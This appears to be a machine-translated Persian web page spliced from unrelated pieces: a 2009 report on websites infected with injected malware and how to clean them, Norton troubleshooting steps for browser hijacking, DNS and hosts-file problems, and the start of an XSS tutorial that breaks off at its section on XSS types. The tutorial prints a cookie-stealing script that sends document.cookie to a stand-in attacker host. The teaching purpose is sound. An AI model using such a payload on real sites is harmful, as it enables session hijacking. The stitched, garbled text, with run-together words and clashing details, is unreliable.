Trojan-Clicker.JS.Agent.h یک نمونه معمولی از مکانیزمی است که در سال 2008 استفاده شد و هنوز (در سال 2009) برای تزریق کدهای مخرب استفاده می شود. یک قطعه کوچک از کد جاوا اسکریپت به صفحه اضافه می شود که معمولاً مبهم است تا تجزیه آن را دشوار کند. در کد نشان داده شده در شکل بالا، مبهم سازی به سادگی شامل جایگزینی کاراکترهای ASCII است که کدهای مخرب را با کدهای هگزا آنها تشکیل می دهند. پس از رمزگشایی، کد معمولا یک iframe است که به سایتی که اکسپلویت ها در آن قرار دارند منتهی می شود. آدرس IP که پیوند به آن اشاره می کند می تواند به عنوان اکسپلویت ها در بسیاری از سایت های مختلف میزبانی شود. صفحه اصلی یک سایت مخرب معمولا حاوی اکسپلویت هایی برای IE، Firefox و Opera است. Trojan-Downloader.JS.Iframe.oj، دومین بدافزار پرکاربرد، به روشی مشابه کار می کند.

در سال 2009، دو مورد جالب وجود داشت که بدافزار از طریق صفحات وب توزیع می شد. در مورد اول ما داریم صحبت می کنیمدر مورد بدافزار Net-Worm.JS.Aspxor.a که برای اولین بار در جولای 2008 کشف شد و در سال 2009 به طور گسترده توزیع شد. این بدافزار با ابزار ویژهآسیب‌پذیری‌های SQL را در وب‌سایت‌هایی پیدا می‌کند که از طریق آن iframe‌های مخرب را تزریق می‌کند.

مورد جالب دیگر بدافزار Gumblar است. نام آن برگرفته از دامنه چینی است که از آن برای توزیع اکسپلویت ها استفاده می کرد. رشته "gumblar" در جاوا اسکریپت مبهم که بر روی یک وب سایت پرتاب می شود، نشانه مطمئنی از آلوده بودن سایت است.

نمونه ای از تعبیه کد Gumblar در یک صفحه وب سایت

پس از رفع ابهام، کد مخرب Gumblar به شکل زیر است:

کد رمزگشایی شده توسط Gumblar

دامنه "gumblar.cn" بسته شد، اما این امر مانع از ادامه حملات مخرب از دامنه های جدید توسط مجرمان سایبری نشد.

راه های آلودگی و روش های توزیع

در حال حاضر، سه راه اصلی برای آلوده کردن وب سایت ها با بدافزار وجود دارد.

اولین روش محبوب، بهره برداری از آسیب پذیری های خود وب سایت است. به عنوان مثال، معرفی کد SQL که به شما امکان می دهد کدهای مخرب را به صفحات سایت اضافه کنید. ابزارهای حمله مانند تروجان ASPXor نحوه عملکرد این روش را نشان می دهند: می توان از آنها برای اسکن انبوه و تزریق کد مخرب در هزاران آدرس IP به طور همزمان استفاده کرد. ردپای چنین حملاتی اغلب در گزارش های دسترسی به سرور وب دیده می شود.

روش دوم شامل آلوده کردن رایانه توسعه‌دهنده وب‌سایت با بدافزاری است که بر ایجاد و بارگذاری فایل‌های HTML نظارت می‌کند و سپس کدهای مخرب را به این فایل‌ها تزریق می‌کند.

در نهایت، روش دیگر آلوده کردن یک تروجان سرقت کننده رمز عبور (مانند Ransom.Win32.Agent.ey) در رایانه یک توسعه دهنده وب سایت یا شخص دیگری است که به یک حساب میزبانی دسترسی دارد. چنین تروجانی معمولاً از طریق HTTP با سرور ارتباط برقرار می کند تا رمزهای عبور حساب های FTP را که از کلاینت های محبوب ftp مانند FileZilla و CuteFtp جمع آوری می کند، منتقل کند. مؤلفه بدافزار واقع در سرور اطلاعات دریافتی را در پایگاه داده می نویسد داده های SQL. سپس برنامه ویژه، همچنین روی سرور قرار دارد، روند ورود به سیستم را برای همه انجام می دهد حساب ها FTP، صفحه فهرست را استخراج می کند، کد آلوده به تروجان را در آنجا اضافه می کند و صفحه را دوباره بارگذاری می کند.

از آنجایی که در مورد دوم، اطلاعات حساب ارائه دهنده هاست برای مهاجمان مشخص می شود، اغلب سایت ها دوباره آلوده می شوند: توسعه دهندگان صفحه وب خودشان متوجه آلودگی می شوند یا از بازدیدکنندگان سایت در مورد آن مطلع می شوند، صفحه را از کدهای مخرب پاک می کنند و روز بعد. صفحه دوباره آلوده شده است.

نمونه ای از عفونت مجدد یک صفحه وب (*.*.148.240)

یکی دیگر از موقعیت‌های رایج زمانی است که اطلاعات مربوط به یک آسیب‌پذیری یا داده‌های حساب میزبانی به طور همزمان به دست گروه‌های سایبری مختلف می‌افتد، که مبارزه بین آن‌ها آغاز می‌شود: هر گروه به دنبال آلوده کردن یک وب‌سایت با بدافزار خود است. در اینجا نمونه ای از چنین وضعیتی وجود دارد:

نمونه ای از آلودگی چندگانه یک وب سایت (*.*.176.6) با بدافزارهای مختلف

در 06/11/2009 وب سایتی که ما نظارت کردیم تمیز بود. در تاریخ 07/05/2009، Trojan-Clicker.JS.Agent.gk به بدافزار آلوده شد. در تاریخ 2009/07/15، وب سایت با بدافزار دیگری به نام Trojan-Downloader.JS.Iframe.bin آلوده شد. ده روز بعد سایت با برنامه دیگری آلوده می شود.

این وضعیت کاملاً رایج است: وب سایت ها می توانند به طور همزمان با بدافزارهای مختلفی آلوده شوند که کد آنها یکی پس از دیگری قرار می گیرد. این زمانی اتفاق می افتد که داده های دسترسی به دست گروه های سایبری مختلف می افتد.

در زیر دنباله ای از اقداماتی است که باید در صورت آلوده شدن یک وب سایت به کد مخرب انجام شود:

• تعیین کنید چه کسی به سرور میزبان دسترسی دارد. با استفاده از یک برنامه امنیتی اینترنتی با پایگاه داده به روز، رایانه های خود را بررسی کنید. تمام بدافزارهای شناسایی شده را حذف کنید
• یک رمز عبور قوی میزبانی جدید تنظیم کنید. رمز عبور قویباید شامل نمادها، اعداد و کاراکترهای خاص باشد تا انتخاب آن را پیچیده کند
• همه فایل های آلوده را با کپی های تمیز جایگزین کنید
• تمام نسخه های پشتیبان که ممکن است حاوی فایل های آلوده باشند را پیدا کنید و آنها را ضد عفونی کنید

تجربه ما نشان می دهد که وب سایت های آلوده اغلب پس از درمان دوباره آلوده می شوند. از طرف دیگر، معمولاً فقط یک بار این اتفاق می افتد: اگر پس از اولین آلودگی، مدیر وب سایت بتواند خود را به اقدامات نسبتاً سطحی محدود کند، در صورت آلودگی دوم، معمولاً اقدامات جدی تری برای اطمینان از امنیت سایت انجام می دهد.

تکامل: میزبانی بدافزار در وب سایت های "تمیز".

چند سال پیش، زمانی که مجرمان سایبری شروع به استفاده فعال از وب برای میزبانی بدافزار کردند، معمولاً از طریق میزبانی یا میزبانی به اصطلاح ضد گلوله کار می کردند که در آن با کارت های اعتباری دزدیده شده پرداخت می کردند. با توجه به این روند، شرکت های امنیت اینترنتی در مبارزه با ارائه دهندگان هاست بی پروا که اجازه میزبانی از منابع مخرب را می دهند (مانند ارائه دهنده میزبان آمریکایی McColo و ارائه دهنده استونیایی EstDomains) به نیروهای خود ملحق شده اند و اگرچه امروزه هنوز مواردی وجود دارد که بدافزارها به طور خاص بر روی مخرب ها میزبانی می شوند. برای مثال، سایت‌هایی که در چین واقع شده‌اند، جایی که خاموش کردن یک سایت هنوز دشوار است، تغییر مهمی به سمت میزبانی بدافزار در دامنه‌های «تمیز» و کاملاً قابل اعتماد صورت گرفته است.

کنش و واکنش

همانطور که قبلاً گفتیم، یکی از مهمترین جنبه های مبارزه دائمی بین مجرمان سایبری و فروشندگان آنتی ویروس، توانایی پاسخ سریع به آنچه دشمن انجام می دهد است. هر دو طرف به طور مداوم تاکتیک های مبارزه خود را تغییر می دهند و فناوری های جدید را به کار می گیرند و سعی می کنند با دشمن مقابله کنند.

اکثر مرورگرهای وب (Firefox 3.5، Chrome 2.0 و اینترنت اکسپلورر 8.0) اکنون دارای محافظت داخلی به شکل فیلتر URL هستند. این فیلتر مانع از دسترسی کاربر به سایت‌های مخربی می‌شود که حاوی سوء استفاده برای آسیب‌پذیری‌های شناخته شده یا ناشناخته هستند یا از تکنیک‌های مهندسی اجتماعی برای سرقت اطلاعات شخصی استفاده می‌کنند.

برای مثال، فایرفاکس و کروم از Google Safe Browsing API استفاده می کنند، خدمات رایگانتوسط گوگل برای فیلتر کردن URL. در زمان نگارش این مقاله، فهرست API مرور ایمن Google شامل تقریباً 300000 وب سایت مخرب شناخته شده و بیش از 20000 وب سایت فیشینگ بود.

Google Safe Browsing API رویکرد هوشمندانه‌تری را برای فیلتر کردن URL اتخاذ می‌کند: به جای ارسال هر URL به یک منبع خارجی برای تأیید، همانطور که فیلتر فیشینگ در اینترنت اکسپلورر 8 انجام می‌دهد، Google Safe Browsing URL‌ها را در مقابل مجموع‌های چک آنها که توسط الگوریتم MD5 محاسبه می‌شود، بررسی می‌کند. برای اینکه این روش فیلترینگ موثر باشد، فهرست چک جمع هاآدرس های مخرب باید به طور مرتب به روز شوند. به روز رسانی توصیه می شود هر 30 دقیقه انجام شود. عیب این روش این است که تعداد وب سایت های مخرب بیشتر از تعداد ورودی های لیست است. برای بهینه سازی اندازه لیست (در حال حاضر حدود 12 مگابایت)، تنها سایت های مخربی که اغلب با آنها مواجه می شوند گنجانده شده است. این به این معنی است که حتی اگر از برنامه‌هایی استفاده می‌کنید که از این فناوری‌ها پشتیبانی می‌کنند، رایانه‌تان همچنان در معرض خطر ابتلا به هنگام بازدید از سایت‌های مخربی است که در لیست نیستند. به طور کلی، استفاده گسترده از فناوری ها برای ناوبری ایمن نشان می دهد که توسعه دهندگان مرورگرهای وب متوجه روند جدید انتشار بدافزار از طریق وب سایت ها شده اند و در حال اقدام هستند. در واقع، مرورگرهای وب دارای امنیت در حال حاضر تبدیل به یک هنجار شده اند.

نتیجه

در طول سه سال گذشته، افزایش شدیدی در تعداد وب‌سایت‌های قانونی آلوده به بدافزار وجود داشته است. امروزه تعداد سایت های آلوده در اینترنت صد برابر بیشتر از سه سال پیش است. سایت هایی که مکرر بازدید می کنند برای مجرمان سایبری جذاب هستند زیرا می توانند تعداد زیادی از رایانه ها را در مدت زمان کوتاهی آلوده کنند.

در اینجا چند نکته ساده برای وب مسترها در مورد نحوه ایمن سازی وب سایت ها آورده شده است:

• از حساب های میزبانی با رمزهای عبور قوی محافظت کنید
• از پروتکل های SCP/SSH/SFTP به جای FTP برای آپلود فایل ها در سرورها استفاده کنید - به این ترتیب از ارسال رمزهای عبور از طریق اینترنت به صورت متن شفاف محافظت خواهید کرد.
• یک محصول آنتی ویروس نصب کنید و یک اسکن کامپیوتر را اجرا کنید
• چندین نسخه پشتیبان از سایت را در رزرو نگه دارید تا در صورت آلودگی بتوانید آن را بازیابی کنید.

هنگام گشت و گذار در اینترنت، عوامل متعددی وجود دارد که خطر آلوده شدن به کدهای مخرب از یک وب سایت را افزایش می دهد: استفاده از نرم افزارهای غیرقانونی، نادیده گرفتن به روز رسانی هایی که آسیب پذیری های نرم افزار مورد استفاده شما را برطرف می کند، نداشتن راه حل آنتی ویروس در رایانه و موارد کلی. ناآگاهی یا درک ناقص تهدیدات اینترنتی.

نرم افزار دزدان دریایی نقش مهمی در توزیع بدافزار ایفا می کند. کپی های دزدی دریایی ویندوز مایکروسافتمعمولا پشتیبانی نمی کنند بروزرسانی های خودکار، منتشر شده توسط مایکروسافت، که به مجرمان سایبری این فرصت را می دهد تا از آسیب پذیری های اصلاح نشده در این محصولات سوء استفاده کنند.

علاوه بر این، قدیمی نسخه های اینترنتی Explorer که هنوز هم محبوب ترین مرورگر است، دارای تعداد زیادی آسیب پذیری است. در بیشتر موارد، اینترنت اکسپلورر 6.0 بدون به روز رسانی های نصب شدهاز تأثیر مخرب هر وب سایت مخرب محافظت نشده است. به همین دلیل، اجتناب از استفاده از نرم افزارهای غیرقانونی، به ویژه نسخه های غیرقانونی ویندوز بسیار مهم است.

یکی دیگر از عوامل خطر، کار بر روی رایانه بدون نصب برنامه ضد ویروس است. حتی اگر خود سیستم آخرین به‌روزرسانی‌ها را نصب کرده باشد، کدهای مخرب می‌توانند از طریق آسیب‌پذیری‌های روز صفر در نرم‌افزارهای شخص ثالث به آن نفوذ کنند. به‌روزرسانی‌های نرم‌افزار آنتی ویروس معمولاً بسیار بیشتر از وصله‌های امنیتی منتشر می‌شوند. محصولات نرم افزاریو امنیت سیستم را در زمانی که هنوز وصله‌های آسیب‌پذیری در نرم‌افزارهای شخص ثالث منتشر نشده‌اند، تضمین کنید.

در حالی که نصب به روز رسانی های نرم افزاری برای حفظ سطح مورد نیاز امنیت مهم است، عامل انسانی نیز نقش مهمی ایفا می کند. به عنوان مثال، کاربر ممکن است بخواهد یک «ویدیو جالب» دانلود شده از وب را تماشا کند، غافل از اینکه بدافزار به جای ویدیو نصب شده است. این ترفند اغلب در سایت های مخرب در صورتی که اکسپلویت ها نتوانند به سیستم عامل نفوذ کنند استفاده می شود. این مثال نشان می دهد که چرا کاربران باید از خطرات تهدیدات اینترنتی به ویژه تهدیدات مربوط به شبکه های اجتماعی (Web 2.0) که اخیراً به طور فعال توسط مجرمان سایبری مورد حمله قرار گرفته اند، آگاه باشند.

• نرم افزار دزدی را دانلود نکنید
• همه نرم افزارها را به موقع به روز کنید: سیستم عامل، مرورگرهای وب، نمایشگرهای PDF، پخش کننده ها و غیره.
• یک محصول آنتی ویروس مانند Kaspersky را نصب کنید و همیشه از آن استفاده کنید امنیت اینترنت 2010
• به عنوان یک قانون از کارمندان خود بخواهید هر ماه چند ساعت را در وب سایت های امنیتی مانند www.viruslist.com بگذرانند، جایی که می توانند درباره تهدیدات آنلاین و نحوه محافظت از خود بیاموزند.

در نهایت، به یاد داشته باشید: پیشگیری از عفونت آسان تر از درمان آن است. اقدامات امنیتی را انجام دهید!

این مشکل ممکن است ناشی از تزریق بدافزار به مرورگر باشد. هدف این نوع بدافزار تغییر تنظیمات مرورگر است. هر یک از شرایط زیر ممکن است رخ دهد:

اگر یک پنجره پاپ آپ با پیوند به یک وب سایت پشتیبانی شخص ثالث می بینید، یا اگر فکر می کنید هدف کلاهبرداری بوده اید، لطفاً این مقاله را ببینید.

انجام اسکن نورتون پاور پاک کن- برنامه های ناخواسته را اسکن کنید

Desktop را به عنوان مکان انتخاب کنید و روی دکمه ذخیره کلیک کنید.

روی فایل NPE.exe دوبار کلیک کنید تا Norton Power Eraser راه اندازی شود.

اگر پنجره ای ظاهر شود

برنامه های ناخواسته را اسکن کنید.

نتایج اسکن نورتون پاور پاک کن در پنجره نمایش داده می شود.

در پنجره تکمیل شده Scan for unwanted applications، روی دکمه Remove در کنار برنامه یا نوار ابزار ناخواسته کلیک کنید.

دستورالعمل های نشان داده شده روی صفحه را دنبال کنید.

پس از اتمام فرآیند حذف، کامپیوتر خود را مجددا راه اندازی کنید.

اگر Norton Power Eraser نتواند نوار ابزارهای ناخواسته را حذف کند، آنها را به صورت دستی با استفاده از Add or Remove Programs یا Uninstall a Program در نوار ابزار حذف نصب کنید. Adware معمولا نوار ابزار مرورگر جدیدی را نصب می کند و ارائه دهنده جستجوی پیش فرض را تغییر می دهد. برای حذف کامل نوار ابزار و خدمات جستجوی ناخواسته، باید مرورگر وب خود را بازنشانی کنید.

اینترنت اکسپلورر را راه اندازی کنید.

از منوی Tools گزینه Manage Add-ons را انتخاب کنید.

در پنجره افزونه‌ها، نوارابزار و افزونه‌ها را در زیر انواع افزونه‌ها انتخاب کنید.

اگر لیست نمایش داده شده حاوی یک نوار ابزار مشکوک است، آن را انتخاب کرده و روی دکمه Disable کلیک کنید.

در پنجره Add-Ins، Search Providers را در قسمت Add-on Types انتخاب کنید.

یک ارائه دهنده جستجو را انتخاب کنید و روی تنظیم به عنوان پیش فرض کلیک کنید.

یک سرویس جستجوی ناشناخته را انتخاب کنید و روی Remove and Close کلیک کنید.

از منوی Tools گزینه Internet Options را انتخاب کنید.

در تب General، در قسمت Home Page، آدرس صفحه اصلی دلخواه خود را وارد کنید.

روی دکمه های Apply و OK کلیک کنید.

در دسکتاپ، روی آیکون Internet Explorer کلیک راست کرده و Properties را انتخاب کنید.

در پنجره Internet Explorer Properties، در تب Shortcut، متن بعد از iexplore.exe را در قسمت Object حذف کنید.

برای ذخیره تغییرات روی Apply و OK کلیک کنید.

روی دکمه Close کلیک کنید.

اجرا کن گوگل کروم.

در بالا سمت راست، روی نماد سفارشی و کنترل Google Chrome کلیک کنید، سپس تنظیمات را انتخاب کنید.

در قسمت Chrome، روی Extensions کلیک کنید.

در پنجره Extensions، پسوندهای ناشناخته را انتخاب کنید و روی نماد سطل زباله کلیک کنید.

در قسمت Chrome، روی تنظیمات کلیک کنید.

در پنجره تنظیمات، در قسمت Initial Group، Next Pages را انتخاب کنید.

در پنجره Home Pages، ورودی های مشکوک را انتخاب کنید و روی نماد X کلیک کنید.

دکمه OK را فشار دهید.

در پنجره تنظیمات، دکمه Show را انتخاب کنید صفحه اصلیدر قسمت Appearance و روی Change کلیک کنید.

در پنجره صفحه اصلی، صفحه را انتخاب کنید دسترسی سریعو دکمه OK را فشار دهید.

در پنجره تنظیمات، در بخش جستجو کلیک کنید.

در پنجره موتورهای جستجو، موتور جستجوی مورد نظر خود را انتخاب کنید و روی تنظیم به عنوان پیش فرض کلیک کنید.

در فهرست تنظیمات جستجوی پیش‌فرض، یک ارائه‌دهنده جستجوی ناشناس را انتخاب کنید و روی نماد X کلیک کنید.

روی دکمه Done کلیک کنید.

فایرفاکس را راه اندازی کنید.

در گوشه بالا سمت راست، روی نماد منوی Open کلیک کنید و Add-ons را انتخاب کنید.

در صفحه Manage Add-ons، Extensions را انتخاب کنید.

لیست برنامه های افزودنی را برای ورودی های مشکوک بررسی کنید. اگر آنها هستند، پسوند را انتخاب کنید و روی Disable کلیک کنید.

روی نماد منوی باز کلیک کنید و تنظیمات را انتخاب کنید.

در تب General از پنجره Preferences، روی دکمه Restore Defaults کلیک کنید.

دکمه OK را فشار دهید.

در پنجره فایرفاکس، روی نماد فلش رو به پایین در کنار فیلد URL کلیک کنید و Manage Search Engines را انتخاب کنید.

در پنجره مدیریت فهرست موتورهای جستجو، موتور جستجوی ناشناخته را انتخاب کرده و روی دکمه حذف کلیک کنید.

دکمه OK را فشار دهید.

اسکن نورتون پاور پاک کن را اجرا کنید

روی فایل NPE.exe دوبار کلیک کنید تا Norton Power Eraser راه اندازی شود.

اگر پنجره User Account Control ظاهر شد، روی Yes یا Continue کلیک کنید.

شرایط را بررسی کنید توافقنامه مجوزو روی دکمه Accept کلیک کنید.

در پنجره نورتون پاور پاک کن، روی نماد اسکن برای تهدیدها کلیک کنید.

به طور پیش فرض، نورتون پاور پاک کن سیستم شما را برای روت کیت اسکن می کند و از شما می خواهد که سیستم خود را مجددا راه اندازی کنید. هنگامی که از شما خواسته شد سیستم را راه اندازی مجدد کنید، روی دکمه Restart کلیک کنید. برای انصراف از اسکن روت کیت ها، را انتخاب کنید.

پس از راه اندازی مجدد کامپیوتر، فرآیند اسکن به طور خودکار شروع می شود. دستورالعمل های نشان داده شده روی صفحه را دنبال کنید.

منتظر نتایج اسکن باشید.

ویدیو به کمک بیشتری نیاز دارید؟ تنظیمات DNS نادرست را بررسی کنید

کنترل

روی نماد Network and Internet کلیک کنید و سپس روی Network and Sharing Center کلیک کنید. در قسمت سمت چپ، روی تغییر تنظیمات آداپتور کلیک کنید.

در ویندوز XP: روی نماد Network Connections دوبار کلیک کنید.

روی آداپتور شبکه ای که در حال حاضر فعال است کلیک راست کنید و سپس روی Properties کلیک کنید.

اگر فرمان User Account Control ظاهر شد، روی Yes یا Continue کلیک کنید.

در پنجره «ویژگی‌های اتصال شبکه»، در بخش «این اتصال از موارد زیر استفاده می‌کند»، روی پروتکل اینترنت (TCP/IP) یا پروتکل اینترنت نسخه 4 (TCP/IPv4) کلیک کنید.

روی Properties کلیک کنید.

در پنجره Internet Protocol (TCP/IP) Properties، در تب General، تیک بزنید سرور DNSتنظیمات.

• اگر دکمه رادیویی استفاده از آدرس‌های سرور DNS زیر را انتخاب کنید، آدرس‌های سرور را بررسی کنید. مطمئن شوید که آدرس‌های سرور DNS نمایش داده شده همان آدرس‌هایی هستند که توسط ارائه‌دهنده خدمات اینترنت یا سرپرست شبکه شما ارائه شده است.

  اگر آدرس سرور DNS با 85.255.11x.x شروع شود، احتمال اینکه حافظه پنهان DNS وجود داشته باشد بیشتر است. بوده استدر نتیجه حمله فارمینگ مسموم شد.

تنظیمات نادرست فایل میزبان ویندوز را برطرف کنید

کلیدهای Windows + R را فشار دهید تا کادر محاوره ای Run باز شود.

متن زیر را تایپ کنید و سپس Enter را فشار دهید.

C:\Windows\System32\Drivers\و غیره

اگر درایو C: درایو سیستم نیست، حرف درایو را جایگزین کنید.

برای هر فایل Hosts که پیدا کردید، روی فایل کلیک راست کرده و سپس روی Open With یا Open کلیک کنید.

از لیست برنامه ها روی Notepad دوبار کلیک کنید.

هر خطی را که در ابتدا بدون # در فایل هاست شما ظاهر می شود، جدا از خط "127.0.0.1 localhost" حذف کنید.

در منوی فایل، ذخیره را انتخاب کنید.

بررسی کنید که آیا می توانید به اینترنت دسترسی داشته باشید.

تنظیمات نادرست پروکسی را برطرف کنید

اگر رایانه خود را برای استفاده از پروکسی برای اتصال اینترنت پیکربندی نکرده‌اید، می‌توانید از این مرحله صرفنظر کنید.

اینترنت اکسپلورر را راه اندازی کنید.

در منوی ابزار، گزینه های اینترنت را انتخاب کنید.

در تب Connections، روی تنظیمات LAN کلیک کنید.

بررسی کنید که تنظیمات پروکسی شما درست است. یکی از کارهای زیر را انجام دهید:

اگر تنظیمات پروکسی نادرست است، مطمئن شوید که تنظیمات پراکسی را درست وارد کرده اید.

اگر تنظیمات پراکسی درست است، پروکسی را به طور موقت غیرفعال کنید. علامت Use a proxy server for your LAN را بردارید.

در پنجره گزینه های اینترنت، روی Apply > OK کلیک کنید.

نوار ابزار ناشناخته را حذف یا غیرفعال کنید

اگر می خواهید نوار ابزار را به طور کامل حذف کنید، می توانید از Add/Remove Programs یا Uninstall a Program در Control Panel استفاده کنید.

اینترنت اکسپلورر را راه اندازی کنید.

در منوی Tools، روی Manage Add-ons کلیک کنید.

اگر نوار ابزار ناشناخته‌ای پیدا کردید که در لیست است، نوار ابزار را انتخاب کنید و سپس روی غیرفعال کردن کلیک کنید.

روی بستن کلیک کنید.

اگر مشکل همچنان ادامه داشت، به مرحله 5 بروید.

با استفاده از نورتون پاور پاک کن، اسکن را اجرا کنید

فایل را در دسکتاپ ویندوز ذخیره کنید.

گفتگوی اجرای ویندوز (کلید ویندوز + R) را باز کنید.

بکشید و رها کنید NPE.exe در کادر اجرا، به طور خودکار آن را با مسیر کامل پر می کند، سوئیچ زیر را به انتهای خط اضافه کنید:

خط اجرا باید به شکل زیر باشد:

"C:\Documents and Settings\user_name\Desktop\NPE.exe" /VSS 111

روی OK کلیک کنید.

اگر اسکن تمیز شد، به مرحله 6 بروید.

و یک کتاب درسی جامع در زمینه اسکریپت بین سایتی است.

بخش اول: بررسی اجمالی XSS چیست؟

برنامه نویسی متقابل سایت ( انگلیسی اسکریپت نویسی متقابل سایت ) یک حمله تزریق کد است که به مهاجم اجازه می دهد جاوا اسکریپت مخرب را در مرورگر کاربر دیگر اجرا کند.

مهاجم مستقیماً به قربانی خود حمله نمی کند. در عوض، از یک آسیب پذیری در وب سایتی که قربانی بازدید می کند سوء استفاده می کند و کد مخرب جاوا اسکریپت را تزریق می کند. در مرورگر قربانی، جاوا اسکریپت مخرب به عنوان بخشی قانونی از وب سایت ظاهر می شود و خود وب سایت به عنوان همدست مستقیم مهاجم عمل می کند.

تزریق کد مخرب جاوا اسکریپت

تنها راه برای یک مهاجم برای اجرای جاوا اسکریپت مخرب در مرورگر قربانی تزریق آن به یکی از صفحاتی است که قربانی از وب سایت بارگذاری می کند. این در صورتی امکان پذیر است که وب سایت به کاربران اجازه دهد داده ها را در صفحات خود وارد کنند و مهاجم می تواند رشته ای را وارد کند که به عنوان بخشی از کد در مرورگر قربانی شناسایی می شود.

مثال زیر یک اسکریپت سرور ساده را نشان می دهد که برای نمایش آخرین نظر در یک سایت استفاده می شود:

چاپ ""
چاپ "آخرین نظر:"
چاپ پایگاه داده.latestComment
چاپ ""

اسکریپت فرض می کند که نظر فقط از متن تشکیل شده است. با این حال، از آنجایی که ورودی مستقیم کاربر فعال است، مهاجم می تواند این نظر را بگذارد: "..." . اکنون هر کاربری که از صفحه بازدید کند پاسخ زیر را دریافت خواهد کرد:

آخرین نظر:
...

هنگامی که مرورگر کاربر صفحه را بارگذاری می کند، همه چیز از جمله جاوا اسکریپت موجود در برچسب ها را اجرا می کند. مهاجم با موفقیت این حمله را انجام داد.

جاوا اسکریپت مخرب چیست؟

توانایی اجرای جاوا اسکریپت در مرورگر قربانی ممکن است به خصوص مخرب به نظر نرسد. جاوا اسکریپت در یک محیط بسیار محدود اجرا می شود که دسترسی بسیار محدودی به فایل های کاربر دارد و سیستم عامل. در واقع می توانید همین الان کنسول جاوا اسکریپت را در مرورگر خود باز کنید و هر جاوا اسکریپتی را که می خواهید اجرا کنید و بعید است که بتوانید آسیبی به رایانه خود وارد کنید.

با این حال، توانایی کد جاوا اسکریپت برای مخرب بودن با توجه به حقایق زیر واضح تر می شود:

• جاوا اسکریپت به برخی از اطلاعات حساس کاربر مانند کوکی ها دسترسی دارد.
• جاوا اسکریپت می تواند درخواست های HTTP را با محتوای دلخواه در جهت دلخواه با استفاده از XMLHttpRequest و مکانیسم های دیگر ارسال کند.
• جاوا اسکریپت می تواند با استفاده از روش های دستکاری DOM تغییرات دلخواه در کد HTML صفحه فعلی ایجاد کند.

هنگامی که این حقایق با هم ترکیب شوند، می توانند نقض امنیتی بسیار جدی ایجاد کنند، جزئیات در ادامه خواهد آمد.

پیامدهای کد مخرب جاوا اسکریپت

علاوه بر این، توانایی اجرای جاوا اسکریپت دلخواه در مرورگر کاربر دیگر به مهاجم اجازه می دهد تا انواع حملات زیر را انجام دهد:

دزدی کوکی

مهاجم می‌تواند با استفاده از document.cookie به سوابق کوکی قربانی مرتبط با یک وب‌سایت دسترسی پیدا کند و آنها را به آنها ارسال کند. سرور خودو از آنها برای استخراج اطلاعات حساس مانند شناسه جلسه استفاده کنید.

کی لاگر

مهاجم می‌تواند با استفاده از addEventListener شنونده رویداد صفحه‌کلید را ثبت کند و سپس تمام کلیدهای کاربر را به سرور خود ارسال کند و احتمالاً اطلاعات حساسی مانند رمز عبور و شماره کارت اعتباری را ثبت کند.

فیشینگ

یک مهاجم می‌تواند با استفاده از دستکاری DOM، یک فرم ورود جعلی را در صفحه وارد کند، ویژگی‌های عملکرد فرم را روی سرور خودش تنظیم کند، و سپس کاربر را فریب دهد تا اطلاعات حساس را دریافت کند.

اگرچه این حملات تفاوت قابل توجهی دارند، اما همه آنها یک شباهت قابل توجه دارند: از آنجا که مهاجم کد را به صفحه ای که توسط یک وب سایت ارائه می شود تزریق می کند، جاوا اسکریپت مخرب در زمینه آن وب سایت اجرا می شود. این بدان معناست که با آن مانند هر اسکریپت دیگری از آن سایت رفتار می شود: به داده های قربانی برای آن وب سایت (مانند سوابق کوکی) دسترسی دارد و نام میزبان نمایش داده شده در رشته URL مانند وب سایت خواهد بود. برای همه اهداف، اسکریپت بخشی قانونی از وب سایت در نظر گرفته می شود، که به آن اجازه می دهد هر کاری را که خود وب سایت می تواند انجام دهد، انجام دهد.

این واقعیت یک مسئله کلیدی را برجسته می کند:

اگر یک مهاجم بتواند از وب سایت شما برای اجرای کد جاوا اسکریپت دلخواه در مرورگرهای دیگر کاربران استفاده کند، امنیت وب سایت شما و کاربران آن به خطر می افتد.

برای تأکید بر این نکته، برخی از نمونه‌های اسکریپت مخرب در این آموزش با استفاده از ... به تفصیل حذف می‌شوند. این نشان می‌دهد که صرف وجود یک اسکریپت که توسط مهاجم تزریق می‌شود، یک مشکل است، صرفنظر از اینکه کد اسکریپت خاصی واقعاً اجرا می‌شود.

قسمت دوم: حمله XSS شرکت کنندگان در حمله XSS

قبل از اینکه به طور مفصل نحوه عملکرد یک حمله XSS را توضیح دهیم، باید عوامل دخیل در حمله XSS را تعریف کنیم. به طور کلی، سه بازیگر در حمله XSS وجود دارد: وب سایت، قربانی و مهاجم.

• وب سایت صفحات HTML را برای کاربرانی که آنها را درخواست می کنند ارائه می دهد. در مثال های ما، در http://website/ قرار دارد.
  • پایگاه داده وب سایت پایگاهی است که برخی از داده های وارد شده توسط کاربران را در صفحات یک وب سایت ذخیره می کند.
• قربانی است کاربر معمولیوب سایتی که با استفاده از مرورگر خود صفحاتی را از آن درخواست می کند.
• مهاجم مهاجمی است که قصد دارد با سوء استفاده از یک آسیب پذیری XSS در یک سایت، به قربانی حمله کند.
  • سرور مزاحم یک وب سرور است که توسط مهاجم کنترل می شود و تنها هدف آن سرقت اطلاعات محرمانه قربانی است. در مثال‌های ما، در http://attacker/ قرار دارد.

نمونه اسکریپت حمله

window.location="http://attacker/?cookie="+document.cookie

این اسکریپت یک درخواست HTTP به URL دیگری ایجاد می کند که مرورگر کاربر را به سرور مهاجم هدایت می کند. URL شامل کوکی قربانی به عنوان پارامتر درخواست است، هنگامی که یک درخواست HTTP به سرور مهاجم می رسد، مهاجم می تواند این کوکی ها را از درخواست استخراج کند. هنگامی که مهاجم کوکی ها را به دست آورد، می تواند از آنها برای جعل هویت قربانی و راه اندازی یک حمله بعدی استفاده کند.

از این پس، HTML نشان داده شده در بالا به عنوان یک رشته مخرب یا اسکریپت مخرب شناخته می شود. درک این نکته مهم است که خود رشته تنها زمانی مخرب است که در نهایت به صورت HTML در مرورگر قربانی ارائه شود، که تنها در صورت وجود آسیب‌پذیری XSS در وب‌سایت ممکن است اتفاق بیفتد.

این مثال حمله چگونه کار می کند

نمودار زیر نمونه ای از حمله توسط مهاجم را نشان می دهد:

مهاجم از یکی از فرم های وب سایت برای درج یک رشته مخرب در پایگاه داده وب سایت استفاده می کند.

قربانی درخواست صفحه ای از یک وب سایت می کند.

این سایت شامل یک رشته مخرب از پایگاه داده در پاسخ است و آن را برای قربانی ارسال می کند.

مرورگر قربانی یک اسکریپت مخرب را در پاسخ اجرا می کند و کوکی قربانی را به سرور مهاجم ارسال می کند.

انواع XSS

